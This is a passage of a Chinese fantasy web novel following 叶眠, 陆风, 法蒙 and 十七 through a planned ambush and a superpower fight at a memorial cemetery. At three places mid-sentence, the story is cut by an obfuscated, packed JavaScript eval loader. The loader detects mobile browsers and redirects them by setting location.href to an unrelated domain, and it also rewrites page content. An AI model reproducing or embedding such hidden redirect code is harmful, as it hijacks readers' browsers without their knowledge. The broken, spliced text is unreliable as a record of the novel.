禁制环是彻底隔绝异能使用,那根叶绵绵戴了两年的戒指只是个削减版。 叶眠皱了皱脸:“也不是个什么好东西。” 她对爱玩强制play的人一向没什么好感。 “蒋家跟联盟实验室走得很近,”陆风说,“蒋钰算是实验室的大客户,能让他们做这么一单,针对的就是你……当时的你。” “你也够绝的,”叶眠为他点赞,“就看着叶绵绵被把牙削甲,羊入虎口。” “我要报仇。”陆风几乎是麻木地说。 他在心里重复过无数次,说他有苦衷,说绵绵会懂。他从坚定地相信,到逐渐迷茫,再到现在,退无可退,仿佛不这么说,过去做的一切就成了笑话。 他以为他成功了。 蒋仕林要死,牺牲是有必要的,但他没想过,天平另一端的重量他给不起的。 他能清晰地回想起自己的第一次动摇。 小沈问他,喜不喜欢叶绵绵。 那时叶绵绵入狱已经有些日子,陆风一直在避免想起这件事。 他觉得这是个放下的好机会。 毕竟他刚灭了杀父仇人,审判长的死无疑掀起了一些波浪,而他的手下刚好趁虚而入。另外换届临近,他有足够的信心把其他人拉下,亲自把控母舰,积累力量,从边境开始,扯出一片新的秩序。 他是反抗军的指挥使,他不会有弱点。 所以他承认,喜欢,然后客观而不带感情地说,她落入C监,是必死之局,而我有更重要的事做。 小沈说:万一她还有救呢? 沉默的片刻里,他心里也有那么一丝冲动:如果放手一搏,会不会有更好的结果? 他掐死了冲动,但动摇的种子却在破土发芽。 他会后悔吗? 他想面对她的尸体吗? 他能理智到完全摈弃感情吗? 陆风拽住如野马狂奔的想法,只对自己最深的内心说:如果她能活,他会承认一切,承认他的虚伪和爱,承认她是他不能割舍、无法背叛的存在,给予她曾经想他索求但他吝于给予的一切。 他终于肯面对那点藏了又藏的真心,因为他知道,她回不来了。 然后她回来了。 陆风眼眶涩得难受,他最近在室内一直不戴墨镜,存的什么心思两人都清楚,但此时此刻他只觉得难堪。 他用最后的力气控制住自己,体面地起身。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16358210|181697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我去203。” 如果没感受过热烈的爱,没感受过全身心的包容与支持,他不会忍受不了这份虚情假意。 他是陆风,是手握几十身份牌的情报贩子,他擅长伪装,擅长欺诈,擅长看起来对所有人真诚。 他只是骗不了自己。 叶眠不知道他犯了什么病,一句随便的吐槽就能把人气到离席。 她咬着叉子,目送他快步离开,甚至忘了拿外套,后知后觉地意识到:噢,被戳到痛脚了。 早知今日,何必当初呢? 叶眠没心没肺地想。 叶绵绵,看见了吗? 他的痛苦,能不能抚平你的遗憾? * 时间过得很快,到法蒙前往功勋墓园还有两天的时候,他给叶眠发了消息。 “会有危险吗?” 这句话没头没尾,但叶眠知道他的意思。 法蒙不可能不做防范,而她也是亲眼看着陆风跟德里克老爷子,怎么一步步设置出了那个只针对他的陷阱。 细到安保人员的选择,每个人的背景都被放到文件里由专人审阅;大到天气系统的安排,气象局里的异能者会出手,所以后天会是个阴沉沉的小雨天。 遇到困难睡大觉:“会,小心你身边的人。” 她四两拨千斤,若有所指,好像也不知道具体情况。 “好。”法蒙说。 叶眠切到跟陆风的聊天框里,一遍遍翻上去,全是陆风跟德里克老爷子的消息记录。 他们的计划很简单。 雷系异能者天生克制金属系,法蒙有位退伍的远方堂叔,在A级巅峰时期能空手捏出雷暴囚笼,后因受伤逐渐衰落到B级。 老爷子预支了实验室下一批异能提升药剂,以此作为交换,让那位本已离开世人视线的旧军人出手。 同为德里克,他自然有进入功勋墓园的资格,哪怕法蒙再想限制同行的人,老爷子也能以自己腿脚不便的理由,让他的堂叔进入队伍。 而墓园内前一天的日常清理会把金属器具尽量搬移,第二天进入墓园的人中,大半德里克都是老爷子的人。更别提他还找了专门能削弱异能效果的辅助系异能者,这可不是什么常见的炮灰能力,找人辛苦、付价也高,加上克制的控场系异能者,他们不怕法蒙不栽。 难顶啊。 就怕法蒙意识到家族要对他下手,却想不到血亲可以这么心狠。 叶眠看了眼黑网论坛,关于法蒙就是德里克继承人的消息已经越传越广,关于他为什么隐瞒身份、为什么一路晋升的讨论也越来越爆,漩涡中心的人肯定需要分神处理舆论,老爷子要的就是他无暇他顾。 叶眠摩挲着终端,打下一行字。 遇到困难睡大觉:“我对功勋墓园有点好奇,你介意多带一个人吗?” 那边的法蒙不知道在干什么,晚了好几分钟才回:“你不是我们德里克家族的人。” 遇到困难睡大觉:“我也可以是,把你的人踢出去一个让我上。” 法蒙不知道她异能恢复的事,叶眠在试探他的底线。 过了会儿,法蒙答:“与其这样,不如你就用孔雀女的身份,我说这是我认定的未婚妻,要带你见我已故的父母,他们没有借口不同意。” ……那可真是把她放在火上烤了。 但叶眠想了想,兵行险招,要是真想让法蒙被她感化,可能真得置死地而后生。 再盯着“未婚妻”三个字,她指尖在屏幕上顿了三秒,突然笑出声——她还真有些心动了。 遇到困难睡大觉:“行啊,明天给我搞点伪装的东西,再来一套你们这种场合的衣服[笑脸]。” 她有些期待对面的人会有什么反应,毕竟这个建议荒唐到像个玩笑,只是以法蒙那种自制的性格,怎么也不像是会在这种事上跑火车的人。 然而法蒙的回复正常而冷静,看不出他的真实想法。 “可以。后天我让刘仁去接你,墓园见。” 43. 第 43 章 “我什么时候能见到十七?”叶眠问陆风。 “等法蒙死在功勋墓园之后,”陆风说,“明天她会在场,确保刺杀计划正常进行。” “噢,”叶眠干巴巴地应了一声,“那,她跟叶绵绵关系怎么样?” “比较一般。”陆风实话实说。 “……啧。” 叶眠心想,难不成要对付的还多一个实验体同僚? “别急,”陆风安慰说,“她还不知道你现在的情况,你们上次见面也是两年之前了。” “我不急。”叶眠说着,没忍住又“唉”了一声。 “等法蒙死了,我会想办法帮你找回禁制环的控制插件,”陆风温声说,“别担心。” 如果这是在知道营养液生产的利益相关、联盟势力的勾心斗角前,叶眠可能会对这句话临表涕零不知所言。但现在的她却清楚,比起她的一人自由,从随手捡的勇者伙伴开始,她已经看见了一场更大的风暴。 这场风暴关系到许多人的生死,乃至整个星系的未来。 或许她本来确实能抽身而退,可以隐姓埋名、找个犄角旮旯地方过一辈子,但她偏偏知道了——她触碰到了那个需要打破的世界。 叶眠苦哈哈地想,要是不看不听等于不存在就好了。 要是她能闭耳塞听一走了之就好了。 她只是站在风暴外缘的普通人,好不容易从监狱跑出来、好不容易重获异能自由,安安稳稳地过上一生不好吗? ——我们呼唤真正的民主与和平,誓要对抗一切暴力与不公。 ……若得自由,不死不休。 代号小队的誓言跟紧箍咒一样往头上一套,她脑子里不期然蹦出来八个字:不忘初心,牢记使命。 天杀的。 她天生好人牌,做不出视若无睹这种事。 陆风很喜欢捏她的手,此刻也是握着她的手指不放:“我明天要去处理墓园内的电子监控系统,算是帮德里克家族扫尾。法蒙可以安心跟他父母团聚了。” “挺好的,团团圆圆。”叶眠随口乱说。 陆风莞尔:“拿到母舰坐标之后,你想回死星看看吗?” “先见了十七再说。”叶眠心里依然沉甸甸的。 她的计划有些赌的成分,但她没跟陆风透半个字。 陆风什么也不问,好像一心一意当着为老大解忧的陆秘书。 叶眠无名指的戒印其实已经很浅了,他一遍遍地摸过她的指节,睫毛垂下的时候,没人能看清他眼里的神色。 各怀鬼胎的两个人同床共枕,就这么度过了暗杀计划前的最后一个平安夜。 * 孔雀女应该长什么样子? 黑网上对这位神秘女子的讨论热度只高不低,有人说她是某个大家族的私生女,有人说她是平民灰姑娘,也有人猜她是正经大家闺秀。 叶眠自然有她的主意:她今天是勾引家族继承人的狐狸精。 易容只是为了不让认识叶绵绵的人看出端倪,具体长什么样子,不还是看她自己发挥? 叶眠拿到当天的正装,手动修改了一下,她天不怕地不怕,往狐狸精人设这个方向一路狂奔。 ——对于不知她底细的人来说,这位“未婚妻”越显得胸无城府,才越是没有威胁。至于他们会不会看轻她、看轻法蒙,谁在乎呢? 刘仁见到人,不自觉地吸了一口气:“叶小姐,我们是要去墓园祭拜……” “别迟到了。”叶眠轻飘飘地说。 他们到了主宅,等法蒙见到人,也是不自觉地眼皮一抽,眉毛不受控制地聚拢,整张脸更沉了几分。 叶眠把原本的中领剪成了大领,保守的袖子被整个撕开,露出手臂,再加上她脸上特意配的妆,整个人从头到脚都在诠释一个词——浓妆艳抹。 法蒙:“你……” “第一次见叔叔阿姨,我想展示自己最好的一面。”叶眠大方地笑了笑,似乎根本看不见客厅在场的其他人,对着法蒙拎起裙摆转了一圈,“好看吗?” 实话说,是好看的。 哪怕这张脸有些陌生,但依然相当光彩夺目。 投向这边的目光骤然变多,法蒙阴着脸解了外套,面色相当不善:“披上。” 几米外有两个人对视一眼,悄无声息地离开了,叶眠略微一瞥,主动投怀送抱:“好几天没见,想你了。” 法蒙伸手扶住她,手臂相触的那一瞬,心尖尖上仿佛打了个激灵。 一句“我也是”差点脱口而出,却在看清叶眠心不在焉的视线后重新压制下去。 “你怎么搞成这样?”他低头在她耳边问,语气带着点清晰的不满。 他们的互动在外人看来就是耳鬓厮磨,叶眠目光划过在场的人:“让他们放松警惕。” “怎么,他们今天想动手?”他顺势提了提她的腰,成功得到一个莫名其妙的眼神,“那你还要深入虎穴,叶小姐,你的心到底在哪边?” 叶眠随口糊弄:“在我自己这边。哪些是你的人?” 法蒙点了几个人,叶眠一算,最坏的情况,如果剩下的都是老头子那边的,足够法蒙死上三五次的了。 “你还没回答我。”法蒙握着她的手腕不松。 “我人都在这了还计较这个。”叶眠低声怼他。 “嗯,我计较。”法蒙语出惊人。 叶眠抖了抖自己身上起的鸡皮疙瘩:“在你这边、在你这边。好了,你也警惕点,不怕一万,就怕万一。” 法蒙嘴角提了一下,但很快,那点笑意又被惯常的冷肃遮盖。他也是刚发现,原来跟叶眠见面竟然能算得上他为数不多觉得有乐趣的事情。 他对这种状态感到有些新奇,忍不住又看了眼略微收敛了点的叶眠,一想到要带她见父母,哪怕带着虚情假意,肃穆中还是混了点别的东西。 楼上,卡门听手下描述他们亲密的模样,满脸阴沉,跟坐在轮椅上的老爷子抱怨:“法蒙根本不是个能听话的。” 老爷子看他一眼:“怎么这么沉不住气?” 法蒙跟家族离心,如今拿着继承人身份回归,早晚会跟他们这些老人产生利益碰撞。 “汤姆森的悬浮车出事,里面肯定有他的手笔,老爷子,您自己不理朝政就罢了,为什么叫我们也不要管?” “是他自己蠢,”老爷子毫不客气,“汤姆森还保了一条命,你应该谢谢法蒙心里还有一线血脉观念。” 卡门身至大族长,却在退隐的老爷子面前根本抬不起头来,他表情变换,把其他话都吞了下去。 “看着吧,木秀于林,风必摧之。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16388938|181697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老爷子离开前留下了这么句话,卡门想了半天,不明白为什么老爷子主动退出了这次墓园之行。 忽然,他心里一跳:难道是今天要出事? 老爷子舍得下手了? 很快,众人从主宅出发,法蒙跟叶眠还有另一位中年人坐在一台车上。 “榕叔,”法蒙心情不错,主动开口,“最近还好?” 榕叔嗓子带哑:“还是老样子,习惯了。听说你也退伍了,好好一下休息吧。” “谢谢榕叔关心。以前不懂叔伯放弃功勋回归家庭的做法,现在倒是稍微了解一二。” 法蒙目光投向身边的叶眠,连带着榕.德里克的视线也落了过来。 叶眠状似羞涩地往法蒙身边缩了缩,心中翻涌。 榕.德里克。 今天的主要角色。 “浮名浮利,虚苦劳神。能全身而退也是幸事一桩。”他淡淡说完便不再开口。 叶眠没说话,捏紧了法蒙的手指。 法蒙若有所觉,眉间微微锁紧。 车队到了墓园关卡处停下,剩下的路程需要守墓人带他们步行。 叶眠几次扫过花园里这群祭拜的人,他们三三两两站在一起,看起来一切正常。 “功勋墓园里长眠的人,每位名义上都为联盟做过大贡献,”法蒙拉着她说,“从初代领袖们开始,每一任议会主席、审判长……” 他的话从叶眠左耳进右耳出,她远远看到走来的守墓人,不知为何,有种微妙的预感。 “守墓人这么年轻吗?我以为是会是老头子。”她轻声打断了法蒙的科普,目光凝在那位罩着一套白袍的来人身上。 “守墓人的家族一直神神秘秘,我没特意了解过,”法蒙也顺着她的方向看去,“不过,好像确实有点年轻了。” 守墓人站定,她的视线在叶眠脸上一点,同时,叶眠也看出了对方一瞬间的神态变化。 两人同时想:她易容了。 天空不知何时悄然转阴,守墓人开口,平静到森然的眼神扫过在场所有人:“抱歉让诸位久等。一会儿可能下雨,我准备了伞。有人需要吗?” 大部分人下车时都顺便拿上了伞,法蒙目光略过,看到不少人都是有备而来,包括榕叔。 再看天色,倒也不一定是会下雨的样子,他不由深想,眼神微涩。 叶眠松开法蒙的手,提着裙子上前,矜持地开口:“请给我一柄。” 她没故意变声,于是成功抓住了守墓人眉梢一跳的那个瞬间。 对方慢了半拍递出雨伞,叶眠带着毫无破绽的微笑,与她手指擦边而过。 四目相接,仿佛有兵戈交错,她们同时低声开口。 “你怎么在这?” “十七?” 叶眠成功确认了自己的猜想,但她发现,守墓人表情似乎更复杂了。 她们都没松开握伞的手,仿佛一场僵持的交锋。 “叶眠。” 放手的同时,守墓人骤然开口。她语气肯定,不知为何意味深深。 而叶眠收伞慢了。 无人知,她浑身汗毛直立。 叶眠十分确信,自己没有听错——这是第一次,有人初见就叫出了她的名字。 不是叶绵绵。 而是叶眠。 44. 第 44 章 “你回来了。” 十七眼睛一转不转,她声音很轻,在场不会有第三人听见。 叶眠心中惊涛骇浪:什么叫回来了? 她面不改色地收回伞,只是看十七的目光带上了警惕和冷意。 十七稍微歪了歪头,若有所指地开口:“法蒙还在等你。” 叶眠很难忘记,十七出现在这里是奉了谁的命,而窥见两人过往一角,更给诡谲的气氛添上两笔混乱。 你是否与我共边? 如果我开口,你会不会就此收手? 最后,叶眠只是挺直腰板,吝啬地冲十七一弯唇,脸上几乎看不出笑意:“好久不见。” “真是……很久了。”十七的目光落在那道挺拔的背影上,轻不可闻地感叹。 叶眠紧握着伞走回法蒙身侧,但没再挽着他。 “怎么了?脸色有点差。”法蒙低声问。 “她易容了,”叶眠简单地说,“当心。” 法蒙嘴唇微动,好像想跟她确认什么,最后在她下压的嘴角中保持了沉默。 守墓人带领大家往墓园深处走,榕叔站在叶眠二人身后几步,杀死了叶眠对法蒙开口的机会。 叶眠微微皱眉。 功勋墓园占地极广,肃穆的碑林在渐起的阴风中沉默伫立,像一片灰白色的森林。 空气中弥漫着泥土和草木的味道,夹杂着一丝山雨欲来的气息。 十七走在队伍最前,白色的袍角一步一动,每步恒长而稳定。她显然感受到了叶眠紧缀的视线,却没有做出更多的反应。 十七认识她,不是作为叶绵绵,而是作为叶眠。那句“你回来了”信息量巨大,几乎推翻了叶眠的部分认知。 十七和“叶眠”原本是什么关系?她知道多少内情? 更关键的是,此刻,她到底是敌是友? 法蒙察觉到叶眠的紧绷,他不动声色地靠近半步,几乎将她护在身侧。 这个动作被榕.德里克注意到,他稍微抬了抬眼皮,再次审视那个穿着完全称得上失礼的女人。 德里克,已经沦落到这种地步了吗? 他把视线挪开,叶眠却借着跟法蒙拉扯的动作,隐约瞥来一眼。 雷暴…… 雷系确实克制金属,但不巧,寒冰绝缘,天克雷电。 队伍在墓园深处一片相对开阔的区域停下,这里并排立着十几座更为高大的墓碑,雕刻着德里克家族的徽记。 十七停下脚步,转身面向众人,微微一躬身:“请自便。” 家族随行人员开始摆放祭品,法蒙上前一步,站在墓碑最前,微微垂首。叶眠跟在他身后半步,肩上还搭着他的外套,敬业地扮演着她的角色。 气氛凝重到黏稠,仿佛沼泽。 天空愈发阴沉,云层低垂,又过了几次呼吸的时间,细密的雨丝开始飘落。 人群中响起几声轻微的响动,是雨伞被撑开的声音。 法蒙似乎沉浸在情绪中,并未立刻动作。叶眠握紧伞柄,停顿两秒,也撑开,稳稳挡到了他的头顶。 “谢谢。”法蒙稍感温情。 两人身影交叠,叶眠垂着眼睫,开口轻若无声:“给我解开禁制环。” 法蒙呼吸微顿,像是在回味这一瞬间里幻想破灭的微痛。 “……为什么?” “情况紧急,你要听解释,是想死在这?” 叶眠气吐如兰,只是不再遮掩目的。 “我知道你可以。现在、立刻。” 寂静中,一声闷雷滚过。 榕叔没有撑伞,缓缓向前走了两步,与法蒙形成了微妙对立的站位。 “法蒙,”榕叔的声音依旧沙哑,却多了一丝别的意味,“你父母若是看到你今天的样子,不知会作何感想。” 法蒙偏过头,眼神锐利:“榕叔想说什么?” “德里克家族荣耀百年,你是继承人,肩负重担,”榕叔的视线转向叶眠,带着毫不掩饰的审视,“有些选择,不能越线。” 叶眠一哂:老东西,开打的场面话还得从她这下手。 她正想开口,却听见十七清冷的声音插了进来: “雨大了,诸位还是先避一避吧。” 随着她的话音落下,雨势骤然变大,豆大的雨点噼里啪啦地砸落下来,几乎在同一时刻,一股无形压力,以墓前为中心,激荡开来! 是辅助系异能者,削弱效果开始了! 法蒙反应极快,一把将叶眠拉向身后,目光如电射向榕叔:“你想做什么?” “你是年轻一代最好的苗子,如非必要,我不愿与你动手,”榕叔叹息般说道,“家族需要稳定,法蒙,你走偏了。” 法蒙的视线中,几位手下被人群阻隔。叶眠被他身形所挡,却一拉他的手臂,咬字低而短促:“我帮你。” 榕叔手边亮起蓝色电光,漫出些许味道,A级雷系异能的底蕴惊人,不明情况的卡门骇然后退半步。 他们要在这……在功勋墓园动手?! 卡门只犹豫了一瞬,老爷子的人已然变脸。 全场近一半人同时行动,隐隐呈包围之势,将法蒙和叶眠困在中心。 唯有十七,袖手站在原地,白袍在雨中纹丝不湿,仿佛一个置身事外的旁观者。 “看来,你们是铁了心要清理门户了。” 法蒙面色冷峻,劈手夺过叶眠手中的黑伞,金属伞骨迅速变形,缩成一截尖锐利器,而失去束缚的伞面被刮到半空,眨眼飞出众人视野。 雨太大,叶眠顺手解了他的外套罩在头上。宽大的西装遮住了半张脸,她遥遥跟十七对上了视线,只一秒,又错开。 “是你逼我们的。” 榕叔不再废话,抬手间,一道刺目的闪电撕裂雨幕,直劈法蒙! “轰!” 法蒙猛推叶眠一把,自己疾退躲避。他原本站立的地方被闪电击中,炸开一个焦黑的土坑。 叶眠被法蒙推开,顺势几个踉跄,跌到战圈外围。一个老爷子的手下来抓她,她却反手一扶,在那人反应过来之前,重新站稳脚步。 “谢谢,”她感激一笑,眼中暗光流淌,“稍等。” 那人不明所以,过了几秒,才听这风姿招展的花瓶开口,语气亲切:“好了,你的任务结束了。” 脸孔上蔓延出薄薄一层冰面,他这才发现自己呼吸不畅。于是在窒息的恐惧下,他发了疯似地挠向侧脸,再也管不及挟持叶眠的使命。 叶眠刚解开禁制环,异能水平也就糊弄一下普通人。她这边刚把人放倒,一回头,只见被困的法蒙已经抽调了场上所有金属,早不止一根伞杆。 在他身侧,纤薄而锋利的金属碎片组成黑金色的条带,每次雷击都会由浮空的金属牵引偏移。 多人围攻下险象环生,他的异能受到压制,虽能勉力坚持,但身上多了好几处焦黑伤痕。 又是“轰隆”一声雷鸣,电光爆发,把那张经年冷肃的脸照出两分惨白。 说了要帮忙,就好人做到底。 叶眠冷静地移开视线:她需要时间缓过异能抵抗。 只用了几秒,叶眠就锁定了一个瘦小男子。她看过陆风的名单,认识这张脸。 ——那个辅助系异能者。 几乎所有人的注意力都被墓前接近一边倒的打斗吸引,叶眠顶着正装外套,脚下移动,绕过混乱战局,目标直指那名辅助系异能者。 然而,就在她即将接近时,一道身影突兀地拦在了她的面前。 是十七。 雨水顺着十七的白袍滑落,她易容后的脸上没有任何表情,只有那双眼睛,深得仿佛能看透叶眠的灵魂。 “让开。”叶眠声音微沉,眼神锐利如刀。 十七没有动,只是静静地看着她,开口时,话音几乎被雨声淹没:“你要救他?” 这个“他”,指的自然是法蒙。 “我有我的理由。”叶眠没有正面回答,与她对峙。 另一边,榕叔的攻击愈发凌厉,雷暴囚牢在不断的闷响中隐隐成型,显然打算速战速决。 法蒙在间隙中瞥见叶眠被拦,心头一沉。 一丝淡淡悔意涌上,说不清是冲着谁。他很快掐灭了那点哀切和怒意,因为敌人杀机在前,容不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16398003|181697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得半点分心。 就在这时,十七忽然动了。 她并没有攻击叶眠,而是身形一晃,如同影子般出现在辅助系异能者的身后。对方惊骇的目光中,她并指如刀,轻轻在其后颈一按。 那名异能者哼都没哼一声,软软地倒了下去。 削弱效果,瞬间消失! 法蒙只觉得浑身一轻,被压抑的感觉如潮水般褪去,他眼中精光暴涨,手指一动,毫无先兆地甩出反击! “什么?” 金属光泽一亮一灭,竟能快过雷光。榕叔冷不丁吃了这翩若惊鸿的一道袭击,他下意识捂住腰间漫出血色的伤口:“守墓人?!” 十七做完这一切,看也没看榕叔一眼,闲适得仿佛连衣角微脏都算不上。 目光重新落回叶眠身上,她依旧是那副平静无波的样子:“现在,你打算怎么做?” 叶眠也愣了一下。 十七到底站在哪一边? 不论如何,局势瞬间逆转! 卡门已经被这一波三折的剧情弄昏了头。他看着碎开一角的石碑、草木翻飞的墓园地面,感觉脑袋发晕,只能一手搀着身边的手下,喃喃地说:“老爷子他……他真是……他……” 摆脱了削弱效果的法蒙不再收敛,金属碎片化作利刃尖刺极速清场,像是轻描淡写地兜了一圈风,围攻他的人就被全数逼退。 然而,他的目标只有榕叔。 这是A级异能者的战斗。 法蒙脸颊上多了两道刺目血痕,一边衣袖在雷光中化为齑粉,露出的手臂皮肤几乎发焦,但他风度不减,好像那个杀伐果断、沉稳冷静的中将从未改变。 “榕叔,如果不想晚节不保,奉劝你还是尽快收手。” “无知小儿。” 雷暴牢笼悍然成型,蓝白电光不断闪现,逐渐向内压迫。 金属条带穿梭其中如游龙清影,虽然没有拳拳到肉招招见血的碰撞,但泄出的零星余威就足够让人激荡澎湃。 叶眠心中的疑团无限大,但她知道,现在不是追问的时候。 法蒙虽然算是扳回劣势,但榕叔毕竟是老牌强者,等雷暴牢笼越缩越小,法蒙并不占优。 总之,还得她来打破局面。 叶眠深吸一口气,双眼微阖,抬手,指尖微微颤动。 她至今仍然能想起,法蒙说使用异能就像动用四肢。 异能是人类身体的一部分,从童年觉醒后就是跟呼吸一般自如的功能。可直到今天,随着时间流逝抵抗作用消退,彻底脱离禁制环的叶眠才终于在现实中,真切地感受到那种澎湃的力量。 她的力量。 不受任何形式束缚的力量。 一个名副其实的A级异能者的力量。 A级异能跟B级相比,差的并非三成五成,而是完全不同的两个境界、两种概念。 叶绵绵用的一手冰锥出神入化,近身刺杀术已臻极境,但对叶眠来说,A级异能的阈值不止于此。 她的异能叫“冰系”,不叫造冰块,不叫召唤冰锥,不叫小叶飞刀。 她的极限,源于她对自己的认知。 那一瞬间,叶眠感觉自己似乎触及了某个屏障——A级的极限、A级的终点,究竟是什么? 她能做到的极限,又在哪里? 墓园里,气温下降,十七最先意识到什么,她微微挑眉。 好久不见,甚是想念啊……叶眠。 随后,越来越多的人开始注意到环境变化,而榕.德里克却发现了更为不妙的事情——雨停了,湿度也在迅速降低,如果再干燥下去,对他的雷异能来说无异于掐住命门。 电光暴响,却似乎无形受制。 牢笼之中的法蒙若有所觉,他瞥向远处的人影,感到些许恍然,混着汹涌而来的酸涩。 ——那也是个A级异能者。 叶眠,出身C监,编号278,假释的死囚一名。 同时,她聪明、果决、极擅长审时度势、窥探人心。 软柿子?恋爱脑? 大错特错。 她从不是、也不会是任何人的附庸。 45. 第 45 章 榕.德里克感觉自己手指一阵麻木,凝聚电光越发艰难,他面沉如水,调动异能再次用雷暴牢笼攻向法蒙。 就在这时,叶眠睁开了眼。 她的异能渗透进了这片空间,这是种玄而又玄的感觉。或许她做不到雷暴囚笼那么强的压制力,但她现在覆盖的范围却比雷暴囚笼大上很多。 耳目都被扩大,她心念一动,一道晶莹剔透、宛如钻石的薄冰盾瞬间成型。 闪电击中冰盾,爆发出刺目的光芒,却像水流遇到鹅卵石一样四散溅射,冰盾表面只留下些许灼痕,背后的法蒙安然无恙。 法蒙瞄准这片刻空隙,金属沿着手臂方向迅速甩出,如同一条迅疾的长鞭,榕.德里克来不及抽调雷光防御,实实在在吃了这一击。 他慢了两秒,抬手抹掉嘴边血迹。 “收手吧,榕.德里克,”叶吟端起态度,语气中带着怜悯,“守墓人还没出全力,我又能克制你的异能,哪怕法蒙失去反抗能力,我们二人也足够处置你了。” “来路不明的女人……”榕.德里克没有收回雷暴囚笼,但也没有继续向内施压。 “来路不明的A级异能者,两位,谢谢。”叶眠满嘴礼貌客气,问都不问就借了守墓人东风,而十七饶有兴趣地看她狐假虎威,也没有拆穿。 十七是A级吗?叶眠只一瞬就把这个问题抛之脑后。 她说她是,她就是。 “什么时候,联盟的A级这么随处可见了,”榕.德里克像是回忆起什么峥嵘过去:“要这是十几二十年前……” “榕叔,不必再说以前。”法蒙明明身形狼狈,看起来却仍然风度翩翩,“三对一,你没有胜算了。” 榕.德里克深深地看他一眼:“如果我非要拼上这把老骨头,跟你同归于尽呢?” “没有意义。”法蒙整理了一下自己惨烈的仪容,用不紧不慢的口吻劝,“不说你能不能做到,如果你死在这,老爷子答应你的那些东西不就没意义了吗?” 榕.德里克面色微变。 沉默的对峙蔓延,终于在卡门下定决心上前劝架之前,他缓下面色,一挥手撤了雷暴。 “小姑娘,你也该……” ……停手了。 一片不过几公分的金属划过了他的脖子,如同一道猝不及防的流光,撞碎了刚缓和两分的空气。 等众人回神,榕.德里克已经捂着只露出短短一截“凶器”的脖颈,不可置信地朝着法蒙跪了下去。 “嗬……嗬……” 血液汨汨涌出,迅速带走了他的生命力。榕.德里克出口不成字句,而一脸平静的法蒙上前几步,搀住了他的两只胳膊。 “联盟一代老将,就算你异能受损,也总能走个颐养天年的结局,”法蒙说着,把他缓缓放倒,“看不清形势,非要做这吃力不讨好的事。” “……对族亲下死手,连汤姆森那个蠢东西都不如。” 榕.德里克双眼外凸、死状恐怖。法蒙俯视着这张他曾感觉亲切的脸,花了几秒钟的功夫,试图寻找过去那位长辈跟现在这个死人的相似之处,最终却只能看清血迹。 他亲手划出的血迹。 下一秒,他漠然扯开被抓住的裤腿,抬眼。 叶眠撤去了异能,却觉得那点寒意挥之不去。 她都快忘了,法蒙从不是什么啃骨头的狗。他的狼性只是被那身板正的制服压住了,但他的控制欲却从未收敛——榕叔对他下了死手,怎么可能活着走出墓园? 他的礼貌、他的示弱,都有他的目的。C监管理混乱、放弃边境三师……披着革命党外皮的,是一份扭曲的利己主义。 ……真是可怕的、善于伪装的男人。 “过来,”法蒙平静地向她招手,“已经不下雨了,你还拿着我的外套。” 十七目击了一切,隔岸观火的态度从始至终没有变过。 叶眠正犹豫,卡门把手下攥到忍不住出声:“大族长,别捏了。” 这一声可了不得,突然就吸引了那边几个人的注意。 卡门刚找回了一点大族长的威严,就听法蒙抢先开口:“大族长,我屠戮族亲,申请族规处置。” 卡门眼一瞪,还来不及高兴,就听那一身伤半身血的煞神继续说:“我请辞继承人的位置,在彻底清查本次刺杀之前,无脸回归主宅。另外,叶眠是我见过父母的未婚妻,她的实力大家有目共睹,想必族长也会支持我们二人。” 未婚妻.叶眠:等一下? 场面再次陷入僵持,而这份僵持中,又好像掺了别的东西。法蒙眼神移动,某一瞬间,叶眠窥见了那份平静下的狠厉、似要把她拆吞入腹的爱恨交织。 叶眠:我刚救了你诶,兄弟。 十七慢慢悠悠开口:“打断一下,诸位。” “陆风有请,”她抬起白葱般的手指,点过叶眠、法蒙、卡门,“你,你……嗯,没有你。大族长请自便。” 范围降温后用了一道冰盾就接近透支的叶眠,不知道自己该不该赞成这个提议。而法蒙率先露出了一个绅士的浅笑:“请带路吧。” 十七不由侧目,好声解释了一下:“老头可能会派追兵,你跟我们来才是在救你。” “自然,”法蒙顶着一身残破的衬衣,抽出了叶眠手中的外套穿上,“叶眠也确实救了我,对吧?” 叶眠干笑一声:“嗯,对。赶紧走吧。” 功勋墓园后门外,依然是混到车流中就看不出特色的悬浮车。 这该死的既视感,让叶眠不由摸了摸下巴。 不同的是,这次她没有敲窗户,车里的人也没有摇下窗户,仿佛无声的冷战。 陆指挥也憋着火呢。她想。 十七拉开副驾车门,示意叶眠上车。 法蒙想说什么,跟这位“守墓人”眼神一碰,撞了个软钉子。 “德里克先生请跟我坐后面吧。” 四人终于坐到车里,气氛诡异到像是一道混合酸甜苦辣的大杂烩。 